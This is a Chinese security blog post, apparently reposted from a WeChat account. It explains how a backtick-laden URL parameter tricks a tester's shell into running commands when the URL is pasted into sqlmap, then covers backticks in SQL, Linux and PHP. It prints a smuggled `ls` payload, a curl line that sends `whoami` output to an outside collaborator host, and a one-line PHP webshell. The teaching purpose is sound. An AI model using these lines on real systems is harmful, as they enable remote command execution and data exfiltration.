由sqlmap反制引发的对反引号的思考

admin 2024年1月11日10:26:56评论15 views字数 1184阅读3分56秒阅读模式

《反制sqlmap》是个好标题,每每看到这几个字,总能让脚本小子汗流浃背。

--著名评论家、五星上将麦克阿瑟 

前言

我们拿到下面这样的一个url,如何快速对它进行SQL注入测试对于这种参数七八的地址,我的答案是 sqlmap一把梭。

https://www.blackflag123.com/s?wd=as&rsv_spt=1&rsv_iqid=0xf93ed7b000004347&issp='12z'&f=8&rsv_bp=1&rsv_idx='2bsz'&ie=utf8&tn='k`ls`_pg'&rsv_dl='tb'&rsv_enter=1&rsv_sug3=3&rsv_sug1=2&rsv_sug7=100&rsv_sug2=0&rsv_btype=i&prefixsug=as&rsp=6&inputT=1077&rsv_sug4=1077

于是我娴熟的打开kali,sqlmap -u “复制粘贴”,一套操作行云流水,自信按下回车键,然后,我就中招了……

由sqlmap反制引发的对反引号的思考

sqlmap没有按照我的设想进行注入点的test是抛出了错误,并执行了系统命令仔细观察上图不难发现,上图中的参数里有一部分高亮的字符串—`ls`。

显然,引发这场血案的关键就在于这个特殊的反引号。

正文

反引号是一个非常特殊的符号,在一些操作系统和编程语言里,反引号拥有一些好玩的特性。

例如,在sql中,反引号又被用来标记非保留字,借用反引号可以创建和查询与sql保留字相同的表名和列名,例如:

create table desc;  //报错create table `desc`;  //成功select order from ordata; //报错select `order` from ordata; //成功

而在linux中,反引号是优先级很高的标记符,相当于数学计算里的小括号,正如数学式子5*(3-1)=10一样,反引号在系统命令里起到内联优先执行的作用。

由sqlmap反制引发的对反引号的思考

利用这个特性,我们可以在遇到无回显的命令执行时进行外带

c=curl http://ozr4lv2wck4f3w7na783su3pfgl69v.burpcollaborator.net?a=`whoami`

由sqlmap反制引发的对反引号的思考

在php,反引号是作为执行运算符的重量级存在。PHP 会尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回。于是,一个超屌的一句话木马诞生了。

<?=`$_GET[_]`;?>

由sqlmap反制引发的对反引号的思考

结论

回过头来看开头提到的sqlmap反制,显然,sqlmap反制这种说法其实不够严谨,准确点说应该是攻击者的反制,这种反制手法对其他一些命令行工具也同样适用,究其原因还是linux反引号的特性和测试人员粗心大意惹的祸,sqlmap无辜躺枪……这波是标题党的大胜利。

原文始发于微信公众号(黑旗geek):由“sqlmap反制”引发的对反引号的思考

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月11日10:26:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   由sqlmap反制引发的对反引号的思考http://cn-sec.com/archives/2383412.html

发表评论

匿名网友 填写信息